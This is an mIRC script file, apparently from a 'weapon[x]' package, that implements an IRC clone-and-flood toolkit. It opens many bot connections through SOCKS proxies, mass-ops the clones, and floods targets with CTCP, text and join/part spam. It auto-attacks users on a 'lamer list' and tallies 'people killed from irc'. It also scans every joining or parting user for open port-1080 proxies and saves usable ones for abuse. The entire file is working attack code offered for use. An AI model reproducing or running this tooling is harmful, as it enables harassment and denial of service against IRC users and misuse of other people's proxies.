weapon`[x] (Wx) — File Browser

weaponxWxv1.7 / weaponxWxv1.7 / script.ini

script.ini — 22.3 KB — Download this file

[script]
n0=
n1=
n2=;[Random Nick	]
n3=alias random {
n4=  %clones.random = $null
n5=  %clones.random.random = $rand(7,9)
n6=  :home
n7=  if ($rand(1,2) == 1) { %clones.random = %clones.random $+ $rand(a,z) }
n8=  else { %clones.random = %clones.random $+ $rand(A,Z) }
n9=  if ($len(%clones.random) == %clones.random.random) { goto end }
n10=  goto home
n11=  :end
n12=  return %clones.random
n13=}
n14=
n15=;[(dis)Enable Firewalls	]
n16=alias firew {
n17=  if ($1 == 1) { %clones.firewall = 1 }
n18=  elseif ($1 == 0) { %clones.firewall = 0 }
n19=}
n20=
n21=;[Connect x clones with x delay trough a firewall	]
n22=alias cf {
n23=  firew 1
n24=  if ($2 == $null) { echo -a 2Usage: cf <firewall> <amount of clones> [connection delay] }
n25=  %clones.firew = $1
n26=  if ($3 == $null) { .timer -o $2 2 connect1 }
n27=  else { .timer -o $2 $3 connect1 }
n28=}
n29=
n30=;[Scans the first free number from the socks	]
n31=alias firstfree {
n32=  %clones.counter = 0
n33=  :home
n34=  inc %clones.counter 1
n35=  %clones.tmp = *ock $+ %clones.counter
n36=  if ($sock(%clones.tmp,0) == 0) { return %clones.counter }
n37=  goto home
n38=  :end
n39=}
n40=
n41=;[Connect a clone trough a firewall or not	]
n42=alias connect1 {
n43=  window -kel15 @Clones
n44=  if ($1 != $null) { %clones.firew = $1 }
n45=  if (%clones.server == $null) { echo -a 2Server not set | halt }
n46=  if (%clones.serverport == $null) { %clones.serverport = 6667 }
n47=  %clones.tmp = $firstfree
n48=  if (%clones.firewall == 1) {
n49=    set %clones.sock $+ %clones.tmp %clones.firew
n50=    sockopen ock $+ %clones.tmp %clones.firew 1080
n51=  }
n52=  else {
n53=    set %clones.sock $+ %clones.tmp %clones.server
n54=    sockopen sock $+ %clones.tmp %clones.server %clones.serverport
n55=  }
n56=}
n57=
n58=;[Sends a raw IRC command to all clones ]
n59=alias botraw { sockwrite -n sock* $1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 }
n60=
n61=;[Changes nicks of all clones	]
n62=alias changenick {
n63=  %clones.counter = 0
n64=  :home
n65=  inc %clones.counter 1
n66=  %clones.tmp = $rand(a,z) $+ $rand(1,9)
n67=  if (%clones.tmp == $null) { %clones.tmp = $random }
n68=  if ($sock(sock*,%clones.counter) == $null) { goto end }
n69=  sockwrite -n $sock(sock*,%clones.counter) NICK %clones.tmp
n70=  if ($islisted($sock(sock*,%clones.counter)) != $null) { rline -l @clones $islisted($sock(sock*,%clones.counter)) $sock(sock*,%clones.counter) $+ : %clones.tmp }
n71=  sockmark $sock(sock*,%clones.counter) %clones.tmp
n72=  goto home
n73=  :end
n74=}
n75=
n76=;[Get nicks from all socks (not usefull I think, I used it for debugging etc) ]
n77=alias getmarks {
n78=  %clones.counter = 0 | %clones.total = $sock(sock*,0)
n79=  :home
n80=  inc %clones.counter 1 | %clones.tmp = sock $+ %clones.counter
n81=  if ($sock(%clones.tmp,0) != 0) { aline @clones 10[14Clones10]2: %clones.tmp $+ : $sock(%clones.tmp).mark }
n82=  if (%clones.counter >= %clones.total) { goto end }
n83=  goto home
n84=  :end
n85=}
n86=
n87=;[if the nick is one of your clones	]
n88=alias isbot {
n89=  %clones.counter = 0 | %clones.total = $sock(sock*,0)
n90=  :home
n91=  inc %clones.counter 1 | %clones.tmp = sock $+ %clones.counter
n92=  if ($sock(%clones.tmp).mark == $1) { return $true }
n93=  if (%clones.counter >= %clones.total) { goto end }
n94=  goto home
n95=  :end
n96=  return $false
n97=}
n98=
n99=;[OP all clones on a channel by the clones	]
n100=alias opall {
n101=  if ($1 == $null) { echo -a 2Usage: opall <chan> }
n102=  %clones.counter = 0 | %clones.total = $sock(sock*,0) | %clones.oplist = $null
n103=  :home
n104=  inc %clones.counter 1 | %clones.tmp = sock $+ %clones.counter
n105=  %clones.oplist = %clones.oplist $sock(%clones.tmp).mark
n106=  if ($numtok(%clones.oplist,32) >= 3) { botraw MODE $1 +ooo %clones.oplist | aline @clones 10[14Clones10]2: Opping %clones.oplist on $1 $+ ... |  %clones.oplist = $null }
n107=  if (%clones.counter >= %clones.total) { goto end }
n108=  goto home
n109=  :end
n110=  if ($numtok(%clones.oplist,32) > 0) { botraw MODE $1 +ooo %clones.oplist $me | aline @clones 10[14Clones10]2: Opping %clones.oplist + myself on $1 $+ ... }
n111=}
n112=
n113=alias total { echo -a 10[14Clones10]2: $sock(sock*,0) }
n114=
n115=;
n116=alias floodem { 
n117=  %clones.lamer = $1
n118=  %clones.floodstart = $ctime
n119=  echo -a 10[14Clones10]2: CTCP Flooding $1 $+ ...
n120=  botraw PRIVMSG $1 :VERSION
n121=  .timer131 -o 0 12 botraw PRIVMSG $1 :VERSION
n122=}
n123=alias floodem5 { 
n124=  %clones.lamer = $1
n125=  %clones.floodstart = $ctime
n126=  echo -a 10[14Clones10]2: CTCP Flooding $1 6x $+ ...
n127=  botraw PRIVMSG $1 :VERSION
n128=  .timer131 -o 5 12 botraw PRIVMSG $1 :VERSION
n129=}
n130=
n131=alias tfr {
n132=  botraw PRIVMSG $1 : $+ $random
n133=}
n134=
n135=alias textflood {
n136=  %clones.lamer = $1 | %clones.floodstart = $ctime
n137=  echo -a 10[14Clones10]2: TEXT Flooding $1 $+ ...
n138=  if ($2 == 1) { %clones.text = Bye Lamer !!! }
n139=  elseif ($2 == 2) {
n140=    tfr $1
n141=    .timer131 -o 0 12 tfr $1
n142=    halt
n143=  }
n144=  else { %clones.text = $3- }
n145=  botraw PRIVMSG $1 : $+ %clones.text
n146=  .timer131 -o 0 12 botraw PRIVMSG $1 : $+ %clones.text
n147=}
n148=
n149=alias jpf {
n150=  botraw PART $1
n151=  .timer -o 1 1 botraw JOIN $1
n152=}
n153=
n154=alias floodoff { .timer131 off | .timer132 off | .timer133 off | .timer134 off | aline @clones 10[14Clones10]2: All Flood Off }
n155=
n156=on 32:JOIN:#:{ echo -a 10[14Clones10]2: Lamer Join Detected: $nick ( $+ $site $+ ) | floodem $nick }
n157=on 33:JOIN:#:{ echo -a 10[14Clones10]2: Lamer Join Detected: $nick ( $+ $site $+ ) | textflood $nick }
n158=
n159=on *:QUIT:{
n160=  if ($nick == %clones.lamer) { echo -a 10[14Clones10]2: Token Time: $duration($calc($ctime - %clones.floodstart)) | floodoff }
n161=  if (($1 == Excess) || ($1 == Flooding)) {
n162=    if (%clones.totals == $null) { %clones.total = 0 }
n163=    inc %clones.totals 1
n164=    if ([ %clones.totals. $+ [ %clones.lamer ] ] == $null) { set %clones.totals. $+ %clones.lamer 0 }
n165=    inc %clones.totals. $+ %clones.lamer 1
n166=    write floods.txt *** $nick has quit IRC ( $+ $1- $+ )
n167=  }
n168=}
n169=;
n170=
n171=on *:sockopen:ock*:{
n172=  if ($sockerr > 0) { aline @clones 10[14Clones10]2: Closing $sockname $+ ... (error $sockerr $+ ) ( $+ %clones.s [ $+ [ $sockname ] ] $+ ) | halt }
n173=  aline @clones 10[14Clones10]2: $sockname connected ( $+ %clones.s [ $+ [ $sockname ] ] $+ )
n174=  %clones.tmpcalc = $int($calc(%clones.serverport / 256))
n175=  bset &binvar 1 4 | bset &binvar 2 1 | bset &binvar 3 %clones.tmpcalc | bset &binvar 4 $calc(%clones.serverport - (%clones.tmpcalc * 256)) | bset &binvar 5 $gettok(%clones.server,1,46) | bset &binvar 6 $gettok(%clones.server,2,46) | bset &binvar 7 $gettok(%clones.server,3,46) | bset &binvar 8 $gettok(%clones.server,4,46) | bset &binvar 9 0  
n176=  sockwrite $sockname &binvar
n177=}
n178=on *:sockread:ock*:{
n179=  if ($sockerr > 0) { aline @clones 10[14Clones10]2: Closing $sockname $+ ... (error $sockerr $+ ) ( $+ %clones.s [ $+ [ $sockname ] ] $+ ) | halt }
n180=  sockread 4096 &binvar | if ($sockbr == 0) { return }
n181=  if ($bvar(&binvar,2) == 90) {
n182=    %clones.tp = $rand(a,z) $+ $rand(1,9)
n183=    if (%clones.tp == $null) { %clones.tp = $random }
n184=    sockwrite -n $sockname USER %clones.tp a a :Tawt Wh4a
n185=    %clones.tp = $rand(a,z) $+ $rand(1,9)
n186=    if (%clones.tp == $null) { %clones.tp = $random }
n187=    sockwrite -n $sockname NICK %clones.tp
n188=    sockmark $sockname %clones.tp
n189=    sockrename $sockname s $+ $sockname
n190=  }
n191=  elseif ($bvar(&binvar,2) == 91) { aline @clones 10[14Clones10]2: Firewall Access Rejected (91) }
n192=}
n193=on *:sockclose:*ock*:{
n194=  if ($left($sockname,1) == o) { %clones.sockname = s $+ $sockname }
n195=  else { %clones.sockname = $sockname }
n196=  aline @clones 10[14Clones10]2: Closing $sockname $+ ... ( $+ %clones. [ $+ [ %clones.sockname ] ] $+ )
n197=  if ($islisted($sockname) != $null) { dline -l @clones $islisted($sockname) }
n198=  window -g1 @clones
n199=}
n200=
n201=alias expired {
n202=  if ($sock($1).status == $null) { halt }
n203=  aline @Scans 4 $+ $1 expired.. closing... ( $+ $sock($1).mark $+ )  ( $+ %clones.scan. [ $+ [ $sock($1).mark ] ] $+ )
n204=  unset %clones.scan. $+ $sock($1).mark
n205=  sockclose $1
n206=}
n207=
n208=alias scan {
n209=  if ($1 == $null) { echo -a 2Usage: scan <ip/host> <ip/host 2> <etc..> | return }
n210=  %clones.counter = 0
n211=  :home
n212=  inc %clones.counter 1
n213=  %clones.tmp = [ $ $+ [ %clones.counter ] ]
n214=  if (%clones.tmp == $null) { goto end }
n215=  if ($numtok(%clones.tmp,46) == 4) {
n216=    if ($longip($gettok(%clones.tmp,1-3,46)) != $null) {
n217=      if (X isin %clones.tmp) { goto home }
n218=    }
n219=  }
n220=  if ($read -s $+ %clones.tmp scanned.txt != $null) { goto home }
n221=  write scanned.txt %clones.tmp
n222=  if (%clones.scan. [ $+ [ %clones.tmp ] ] == $null) { set %clones.scan. $+ %clones.tmp *unknown* }
n223=  %clones.tmp2 = scan $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
n224=  window -ke @Scans
n225=  aline @Scans 2Now scanning %clones.tmp $+ ... ( $+ %clones.scan. [ $+ [ %clones.tmp ] ] $+ )
n226=  sockopen %clones.tmp2 %clones.tmp 1080
n227=  sockmark %clones.tmp2 %clones.tmp
n228=  .timer -o 1 20 expired %clones.tmp2
n229=  goto home
n230=  :end
n231=}
n232=
n233=on *:sockopen:scan*:{
n234=  if ($sockerr > 0) { aline @Scans 4Socks not open on $sock($sockname).mark ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ ) | halt }
n235=  aline @Scans 2Socks open on $sock($sockname).mark $+ ... scanning if usable...  ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ )
n236=  %clones.tmpcalc = $int($calc(%clones.serverport / 256))
n237=  if (%clones.firewall != 1) {  aline @Scans 4No firewall stuff set | halt }
n238=  bset &binvar 1 4 | bset &binvar 2 1 | bset &binvar 3 %clones.tmpcalc | bset &binvar 4 $calc(%clones.serverport - (%clones.tmpcalc * 256)) | bset &binvar 5 $gettok(%clones.server,1,46) | bset &binvar 6 $gettok(%clones.server,2,46) | bset &binvar 7 $gettok(%clones.server,3,46) | bset &binvar 8 $gettok(%clones.server,4,46) | bset &binvar 9 0  
n239=  sockwrite $sockname &binvar
n240=}
n241=
n242=on *:sockread:scan*:{
n243=  if ($sockerr > 0) { aline @Scans 4Socks not open on $sock($sockname).mark ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ ) | halt }
n244=  sockread 4096 &binvar | if ($sockbr == 0) { return }
n245=  if ($bvar(&binvar,2) == 90) {
n246=    aline @Scans 3Socks usable on $sock($sockname).mark $+ ... saving to file socks.txt... ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ )
n247=    write socks.txt $sock($sockname).mark
n248=  }
n249=  sockclose $sockname
n250=}
n251=
n252=alias scanc {
n253=  window -ke @Scans
n254=  %clones.counter2 = 0
n255=  if ($1 == $null) { halt }
n256=  %clones.total = $nick($1,0)
n257=  aline @Scans Scanning $1 with delays of 2 secs
n258=  :home
n259=  inc %clones.counter2 1
n260=  %clones.tmp3 = $calc((%clones.counter2 * 2) - 2)
n261=  .timer -o 1 %clones.tmp3 .userhost $nick($1,%clones.counter2)
n262=  aline @Scans 2Scanning $nick($1,%clones.counter2) in %clones.tmp3 seconds $+ ...
n263=  if (%clones.counter2 == %clones.total) { goto end }
n264=  goto home
n265=  :end
n266=}
n267=
n268=alias scanf {
n269=  if (($1 == $null) || ($exists($1) == $false)) { halt }
n270=  %clones.total = $lines($1)
n271=  %clones.counter2 = 0
n272=  :home
n273=  inc %clones.counter2 1
n274=  %clones.toscan = $read -l $+ %clones.counter2 $1
n275=  .timer -o 1 $calc($2 * %clones.counter2) scan %clones.toscan
n276=  if (%clones.counter2 == %clones.total) { goto end }
n277=  goto home
n278=  :end
n279=}
n280=
n281=raw 302:*:{
n282=  %clones.count = 1
n283=  :home
n284=  inc %clones.count 1
n285=  %clones.temp  = $ [ $+ [ %clones.count ] ]
n286=  if (%clones.temp == $null) { goto end }
n287=  %clones.scan. [ $+ [ $gettok(%clones.temp,2,64) ] ] = $gettok(%clones.temp,1,61)
n288=  scan $gettok(%clones.temp,2,64)
n289=  goto home
n290=  :end
n291=}
n292=
n293=on *:JOIN:#:{
n294=  if ($nick == $me) { return }
n295=  set %clones.scan. $+ $site $nick
n296=  scan $site
n297=  if ($exists(nicks2.txt) == $false) { write nicks2.txt }
n298=  if ($read -s $+ $nick nicks2.txt == $null) {
n299=    write nicks2.txt $nick $gettok($address,1,64)
n300=  }
n301=}
n302=
n303=on *:PART:#:{
n304=  if ($nick == $me) { return }
n305=  set %clones.scan. $+ $site $nick
n306=  scan $site
n307=  if ($exists(nicks2.txt) == $false) { write nicks2.txt }
n308=  if ($read -s $+ $nick nicks2.txt == $null) {
n309=    write nicks2.txt $nick $gettok($address,1,64)
n310=  }
n311=}
n312=
n313=alias ppl {
n314=  if ($1 == $null) { echo -a 2Usage: ppl <channel> | halt }
n315=  echo -a 2 $+ " $+ $nick($1,0) Total people on $1 $+ "
n316=}
n317=
n318=menu nicklist {
n319=  Scan socks:.userhost $$1
n320=  Clones
n321=  .Floods
n322=  ..CTCP:floodem $$1
n323=  ..TEXT
n324=  ...Bye Lamer !!!:textflood $$1 1
n325=  ...Random:textflood $$1 2
n326=  ...Choose:textflood $$1 3 $$?="Choose Text:"
n327=  .Lamer List
n328=  ..Add (CTCP):guser 32 $1 2 | floodem $1
n329=  ..Add (TEXT):guser 33 $1 2 | textflood $1
n330=  ..Remove All (CTCP):rlevel 32
n331=  ..Remove All (TEXT):rlevel 33
n332=  .All Flood Off:floodoff
n333=  .-
n334=  .Kill All Clones:sockclose *ock* | floodoff | window -c @clones
n335=}
n336=menu channel {
n337=  Clones
n338=  .Server settings
n339=  ..Server:setserver $$?="Which Server?"
n340=  ..Server Port:%clones.serverport = $$?="Which Port?"
n341=  .Connect:.timer -o $$?="Amount of clones:" $$?="Delay between clone connects" connect1
n342=  .Firewall
n343=  ..Set:%clones.firew = $$?="Which Firewall?"
n344=  ..Enable:%clones.firewall = 1
n345=  ..Disable:%clones.firewall = 0
n346=  .Ignore
n347=  ..Clones (will not work for already connected clones)
n348=  ...ON:%clones.silence = 1
n349=  ...OFF:%clones.silence = 0
n350=  ..Myself
n351=  ...ON:pr
n352=  ...OFF:upr
n353=  .Totals
n354=  ..Total Clones:total
n355=  ..Autocheck:.timer900 -o 0 $$?="How many seconds between shows?" total
n356=  ..Autocheck OFF:.timer900 off
n357=  ..-
n358=  ..Total people:ppl #
n359=  ..People Autocheck:.timer901 -o 0 $$?="How many seconds between checks?" ppl #
n360=  ..People Autocheck OFF:.timer901 off
n361=  ..-
n362=  ..Total Killed:echo -a 2" $+ %clones.totals People killed from irc $+ "
n363=  ..Reset:%clones.totals = 0
n364=  .-
n365=  .SocksList (Connect):window -kl @sockslist /sockslist
n366=  .-
n367=  .JOIN (This Channel):botraw JOIN #
n368=  .Random Join (TC):randomjoin #
n369=  .PART (This Channel):botraw PART #
n370=  .Flood
n371=  ..CTCP:floodem #
n372=  ..TEXT
n373=  ...Bye Lamer !!!:textflood $$?="Which Channel/Person?" 1
n374=  ...Random:textflood $$?="Which Channel/Person?" 2
n375=  ...Choose:textflood $$?="Which Channel/Person?" 3 $$?="Choose Text:"
n376=  ..JOIN/PART:.timer131 -o 0 6 jpf #
n377=  .Nickchange
n378=  ..Change Nicks:changenick
n379=  ..ON:.timer32 -o 0 $$?="Delay between nick changes:" changenick
n380=  ..OFF:.timer32 off
n381=  .All Flood Off:floodoff
n382=  .-
n383=  .Scan channel for firewalls:scanc #
n384=  .-
n385=  .Kill All Clones:sockclose *ock* | floodoff | window -c @clones
n386=}
n387=menu @Clones {
n388=  Server settings
n389=  .Server:setserver $$?="Which Server?"
n390=  .Server Port:%clones.serverport = $$?="Which Port?"
n391=  Connect:.timer -o $$?="Amount of clones:" $$?="Delay between clone connects" connect1
n392=  Firewall
n393=  .Set:%clones.firew = $$?="Which Firewall?"
n394=  .Enable:%clones.firewall = 1
n395=  .Disable:%clones.firewall = 0
n396=  Ignore
n397=  .Clones (will not work for already connected clones)
n398=  ..ON:%clones.silence = 1
n399=  ..OFF:%clones.silence = 0
n400=  .Myself
n401=  ..ON:pr
n402=  ..OFF:upr
n403=  Totals
n404=  .Total Clones:total
n405=  .Autocheck:.timer900 -o 0 $$?="How many seconds between shows?" total
n406=  .Autocheck OFF:.timer900 off
n407=  .-
n408=  .Total people:ppl #
n409=  .People Autocheck:.timer901 -o 0 $$?="How many seconds between checks?" ppl #
n410=  .People Autocheck OFF:.timer901 off
n411=  .-
n412=  .Total Killed:echo -a 2" $+ %clones.totals People killed from irc $+ "
n413=  .Reset:%clones.totals = 0
n414=  -
n415=  SocksList (Connect):window -kl @sockslist /sockslist
n416=  -
n417=  JOIN:botraw JOIN $$?="Which Channel?"
n418=  Random Join (TC):randomjoin #
n419=  PART:botraw PART $$?="Which Channel?"
n420=  Flood
n421=  .CTCP:floodem $$?="Which Channel/Person?"
n422=  .TEXT
n423=  ..Bye Lamer !!!:textflood $$?="Which Channel/Person?" 1
n424=  ..Random:textflood $$?="Which Channel/Person?" 2
n425=  ..Choose:textflood $$?="Which Channel/Person?" 3 $$?="Choose Text:"
n426=  .JOIN/PART:.timer131 -o 0 6 jpf $$?="Which Channel?"
n427=  Nickchange
n428=  .Change Nicks:changenick
n429=  .ON:.timer32 -o 0 $$?="Delay between nick changes:" changenick
n430=  .OFF:.timer32 off
n431=  All Flood Off:floodoff
n432=  -
n433=  Kill All Clones:sockclose *ock* | floodoff | window -c @clones
n434=}
n435=
n436=menu @Scans {
n437=  Scan Person:.userhost $$?="which person?"
n438=  Scan Channel:scanc $$?="what channel?"
n439=  Scan File:scanf $$?="what file?" $?="delay between scans:"
n440=}
n441=
n442=alias loadbuf- {
n443=  if ($exists($2) == $false) { return }
n444=  %total = $lines($2)
n445=  %count = 0
n446=  :home
n447=  if (%count >= %total) { return }
n448=  inc %count 1
n449=  %readln = $read -l $+ %count $2
n450=  if (%readln == $null) { goto home }
n451=  %part1 = $gettok(%readln,1,32)
n452=  %part2 = $gettok(%readln,2,32)
n453=  %part3 = $gettok(%readln,3-,32)
n454=  :home2a
n455=  if ($len(%part1) < 32) { %part1 = %part1 $+ $chr(160) | goto home2a }
n456=  :home2b
n457=  if ($len(%part2) < 16) { %part2 = %part2 $+ $chr(160) | goto home2b }
n458=  :home2c
n459=  if ($len(%part3) < 16) { %part3 = %part3 $+ $chr(160) | goto home2c }
n460=  aline $1 %part1 %part2 %part3
n461=  goto home
n462=}
n463=
n464=menu @sockslist {
n465=  Connect:/sockslist
n466=  -
n467=  Load file:{
n468=    %clones.file = $?="Which File?"
n469=    if (%clones.file == $null) { return }
n470=    loadbuf- @sockslist %clones.file
n471=  }
n472=  -
n473=  Clear:clear @sockslist
n474=  Refresh:clear @sockslist | loadbuf- @sockslist %clones.file
n475=  -
n476=  Check Speed:checklist
n477=  -
n478=  PANIC STOP:timers off
n479=  -
n480=}
n481=
n482=alias pr { ignore -pnti *@* }
n483=alias upr { ignore -pnir *@* }
n484=
n485=alias sockslist {
n486=  %clones.countr = 0
n487=  %clones.hm = $?="How many for each firewall?"
n488=  if (%clones.hm == $null) { return }
n489=  %clones.dy = $?="Delay:"
n490=  if (%clones.dy == $null) { return }
n491=  if (%clones.firewall == 0) { echo -a 4Firewall not enabled | return }
n492=  :home
n493=  inc %clones.countr 1
n494=  if ($sline(@sockslist,%clones.countr) == $null) { return }
n495=  %clones.temp.temp = $gettok($gettok($sline(@sockslist,%clones.countr),1,32),1,9)
n496=  timer %clones.hm %clones.dy connect1 %clones.temp.temp
n497=  goto home
n498=}
n499=
n500=alias randomjoin {
n501=  %clones.counter = 0
n502=  %clones.min = $$?="Minimum join delay:"
n503=  if (%clones.min == $null) { return }
n504=  if ($1 != $null) { %clones.chan = $1 | goto home }
n505=  %clones.chan = $$?="Which Channel?"
n506=  if (%clones.chan == $null) { return }
n507=  :home
n508=  inc %clones.counter 1
n509=  %clones.sock = $sock(sock*,%clones.counter)
n510=  if (%clones.sock == $null) { return }
n511=  .timer 1 $calc((%clones.counter * %clones.min) + $rand(1,10) ) sockwrite -n %clones.sock JOIN %clones.chan
n512=  goto home
n513=}
n514=
n515=alias hello {
n516=  rline @sockslist $1 $2- 2Checking...
n517=  checkspeed $1-
n518=}
n519=
n520=alias checklist {
n521=  %clones.cnt = 0
n522=  :home
n523=  inc %clones.cnt 1
n524=  %clones.tq = $left($line(@sockslist,%clones.cnt),66)
n525=  if (%clones.tq == $null) { return }
n526=  .timer 1 $calc(%clones.cnt / 2) hello %clones.cnt %clones.tq
n527=  goto home
n528=}
n529=
n530=alias checkspeed {
n531=  %clones.rnd = $random
n532=  sockopen chk $+ %clones.rnd $gettok($gettok($2-,1,32),1,9) 1080
n533=  sockmark chk $+ %clones.rnd $1 $ctime $2-
n534=}
n535=
n536=on *:sockopen:chk*:{
n537=  %clones.new = $sockerr
n538=  %clones.tj = $sock($sockname).mark
n539=  if (%clones.new > 0) { rline @sockslist $gettok(%clones.tj,1,32) $gettok(%clones.tj,3-,32) 4 $+ Socket error ( $+ $sockerr $+ ) | halt }
n540=  sockclose $sockname
n541=  %clones.delay = $calc($ctime - $gettok(%clones.tj,2,32))
n542=  if (%clones.delay <= 3) { %clones.ch = 3 }
n543=  elseif (%clones.delay <= 10) { %clones.ch = 2 }
n544=  elseif (%clones.delay <= 18) { %clones.ch = 5 }
n545=  else { %clones.ch = 4 }
n546=  rline @sockslist $gettok(%clones.tj,1,32) $gettok(%clones.tj,3-,32)  $+ %clones.ch $+  $+ %clones.delay seconds
n547=}
n548=
n549=alias islisted {
n550=  %clones.count = 0
n551=  :home
n552=  inc %clones.count 1
n553=  if ($1 isin $gettok($line(@clones,%clones.count,1),1,58)) { return %clones.count }
n554=  if ($line(@clones,%clones.count,1) == $null) { return }
n555=  goto home
n556=}
n557=
n558=on *:start:{ unset %clones.sock* | unset %clones.scan* }
n559=
n560=alias setserver {
n561=  %clones.setserver = 1
n562=  .dns -h $1
n563=}
n564=
n565=on *:dns:{
n566=  if (%clones.setserver == 1) {
n567=    if ($iaddress == $null) { echo -a 4Server address could not be resolved | return }
n568=    %clones.server = $iaddress
n569=    %clones.setserver = 0
n570=  }
n571=}
n572=
n573=alias deopall {
n574=  if ($1 == $null) { echo -a 2Usage: deopall <chan> | return }
n575=  %clones.deop = 1
n576=  %clones.deopchannel = $1
n577=  botraw NAMES $1
n578=}
n579=
n580=alias oda {
n581=  opall $$1
n582=  deopall $$1
n583=}
n584=
n585=alias rej { raw -q PART # $+ $chr(13) $+ $chr(10) $+ JOIN # }